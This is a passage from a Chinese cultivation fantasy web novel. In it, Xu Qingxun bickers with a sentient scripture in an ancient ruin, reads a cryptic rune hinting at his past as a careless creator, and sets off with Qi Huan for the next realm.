“啥确不确定,我说的还能有假?虽然我不明白你要去那里干嘛,上次我不是说了吗,符文不是越古越强的,古只能说明古!呃,我在说啥?” 原始太虚经把自己都说懵了。 许清浔笑道:“你不用管那么多,只管把我指引过去就行了。” “……好吧。” 上古遗迹之外通常列有一些阵法,初是迷阵,后是杀阵,以许清浔如今的修为和阵法造诣,通关并不难。 到了桃林深处,许清浔环顾四周,感慨古之小世界居然还能如此逼真。 原始太虚经自豪道:“心照万物,念造万物。” 许清浔一顿,微微挑眉,“你又在忽悠我学造化法?” 原始太虚经大怒,“谁在忽悠你,本经只是有感而发!真不知道那位大人为什么把我交到你手上,我可是伟大的九界第一真经啊。” 许清浔被它逗乐了,心想你老底都透完了,如今还剩下什么逼格吗? 原始太虚经好像感觉到了他无声的嘲笑,幽幽道:“真是令经费解。” 不过许清浔笑完,忽然面色一变,低语道:“确实,仔细一想,天道那家伙为何要把你交到我手中,你虽是九界第一真经,但又没啥大用,甚至不比灭世魔经有用。” 原始太虚经听到后面险些气炸了,比灭世魔经还不如?这简直刺到了它的死穴! “别生气嘛,不是事实吗?”许清浔一本正经地道。 “那是你不肯学我的法!” “你也没给我啊。” 一人一经边走边吵,这时寒风拂面,凛冽如刀。许清浔仿佛感知到了什么,转头看向小世界的尽头——一片顶天立地、延绵无尽的混沌古壁。 原始太虚经暂停了吵架,说明道:“据说,我们七大混沌古经的材料就来自这里。” 许清浔顿时来了兴趣,边观察边问:“话说回来啊,天道为何要造出你们?” 原始太虚经一愣,低声道:“我也不知。” “你没问过?” “……从未想过这个问题,但或许是为了让世间有法吧。” “既是如此,灭世魔经又是为何?” 原始太虚经哽住了,的确,那家伙为何存在? 它造世,它灭世,天然对立,那位大人不可能不知道。 许清浔接着道:“对吧,这事不太对劲,但也不是不能解释,比如说,灭世魔经的存在是为了让世间的不祥与诡异有一个归宿。收集,包揽,然后将其封印。” 原始太虚经一阵沉默。 许清浔觉得自己猜到了真相,但这个真相没有多大意义,原始太虚经提到的那个问题更有意义。是的,天道为何非将它交给自己?用意是? 总不可能是为了让它天天跟魔经吵架吧。据祁桓的说法,它们经常碰在一起互喷,也算是宿敌了。 所以……这件事另有用意,而且是不能明说的用意。 就连祁桓都发现了,我本人却还没有发现吗。 许清浔沉思许久,目光缓缓抬高,一直看到了顶处。那里有一条模糊的字迹,像象形字,又像孩童涂鸦。 原始太虚经道:“看到了吗,那也是文字,比我还古早,我也不知道什么意思。” 许清浔面色微变,连它都不知道意思,为何自己一眼就联想到了呢。 上面的字是——“结束了,走了”。 符文潦草而敷衍,透着强烈的厌世感,好像已经玩腻了,于是撒手不管,头也不回地离开了此地。 天道不可能有这种情绪,那么这个情绪的主人是—— 许清浔浑身一颤,不由自主地抚摸自己的心口,深深地吸了一口气。 原始太虚经看他表情不对,疑惑道:“你怎么了?” 许清浔面色发白,浅色的瞳孔微微收缩,摇头道:“没什么,只是……有点难以置信,这么说来,倒也难怪我小时候会对修仙这么感兴趣了,嗯……所以天道才说不是‘选择’吗,确实,与其说选择,不如说钓鱼,真是绝了。” 原始太虚经一头雾水,“你在说什么啊?” 许清浔神色恢复正常,“没什么,从头再来,日子照样过,毕竟,我一直是我,始终没变。”说时,他心满意足地笑了笑,眼里仿佛含着流光。 原始太虚经心痒难耐,但一看许清浔又不想说,只好罢了,反正时间那么长,它迟早会知道但。 而在他们身后,有个人默默地看完了全程。 许清浔摸了摸下巴,眼神一亮,转身道:“所以当年才有那个意外吗?我就说我的手怎么会莫名其妙紧贴你的手。” 他突然提到了另一个人,也即一直跟在后方的祁桓。显然,他知道祁桓一直在身后。 祁桓面色平静,“那个意外我记得,但……那是为何?” 许清浔一顿,自顾自道:“对哦,你还不知道,没事,你将来都会知道的。” 他这个说法有些谜语人了,但也没办法,他此时只是猜测,还无法证实,估计也只有天道知道真相。 也就是……他大概率跟原来一念造出三千世界的创世者有关系,而那家伙大概率是个三分钟热度、造完就走的屑人。 至于两人的手为何会突然紧贴,或许是旧主与新主之间的奇妙反应? 不过,以前是变态,现在是现在,他啥都不记得了,这辈子新得不能再新,怎能算旧账呢。 所以,还是活在当下吧! 许清浔灿烂一笑,闪身走到祁桓面前,随即二话不说地牵起祁桓的手。 “走吧,去下一界,我有预感,老朋友们已经迫不及待见到我们了。” “嗯,随你。” 两人一同离去,而旧物照旧,古壁无声。 片刻后,留下的法符再次将此地封闭,不知下次再有人来,会是何时。 心象之外,一道孤傲的身影望着已经熄灭的太阳,垂头抚摸自己的心口。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m